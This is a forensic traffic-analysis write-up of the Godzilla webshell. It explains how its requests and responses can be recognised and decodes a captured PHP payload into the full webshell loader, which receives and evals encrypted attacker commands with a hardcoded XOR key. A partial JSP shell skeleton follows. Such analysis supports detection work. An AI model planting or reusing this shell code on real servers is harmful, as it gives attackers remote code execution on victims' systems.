Godzilla Webshell Traffic Analysis and Attribution

:::info Godzilla version — v4.01

:::

Characteristics

The Godzilla client is written in JAVA. If it is not configured, the request header may look like java…, but by default the request configuration is set, as shown below.

The Cookie ends with a semicolon.

The response body looks like this.

The specific format is:

first 16 characters of md5 + base64 + last 16 characters of md5

When the client connects for the first time, there are three consecutive requests.

Godzilla’s encryption method is also based on the symmetric AES cipher.

Detailed Analysis

PHP

The encryption type is as follows.

Execute a command.

TCP traffic:

ant=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=fL1tMGI4YTljzn78f8Wo%2FyhTN1cCWEn3M%2BF4ZGJ%2BL2Iz5Ep7TupOFkzm%2Bhr7%2BbBk0Riq%2BC30rG0xAYdhAfgsHqr%2BKsEp9CxcgTffeJ98LEWt%2Bah9rnNgOQqYkoN%2FNGEz

Taking this as an example:

First URL-decode it.

Then reverse the string inside.

input_str = ""
reversed_str = input_str[::-1]
print(f"反转后的字符串：{reversed_str}")

#DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J2tleSc7DQokcGF5bG9hZE5hbWU9J3BheWxvYWQnOw0KJGtleT0nM2M2ZTBiOGE5YzE1MjI0YSc7DQppZiAoaXNzZXQoJF9QT1NUWyRwYXNzXSkpew0KICAgICRkYXRhPWVuY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFskcGFzc10pLCRrZXkpOw0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJHBheWxvYWROYW1lXSkpew0KICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7DQogICAgICAgIGlmIChzdHJwb3MoJHBheWxvYWQsImdldEJhc2ljc0luZm8iKT09PWZhbHNlKXsNCiAgICAgICAgICAgICRwYXlsb2FkPWVuY29kZSgkcGF5bG9hZCwka2V5KTsNCiAgICAgICAgfQ0KCQlldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Upew0KICAgICAgICAgICAgJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0K

Then Base64-decode it.

The code in the parameter only establishes a channel for receiving and executing subsequent encrypted instructions.

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

Java

The processed format is as follows:

<%!
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { public Class Q(byte[] cb) { ... } }
public byte[] x(byte[] s, boolean m) { ... }
public static String md5(String s) { ... }
public static String base64Encode(byte[] bs) throws Exception { ... }
public static byte[] base64Decode(String bs) throws Exception { ... }
%>
<%
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        
    %>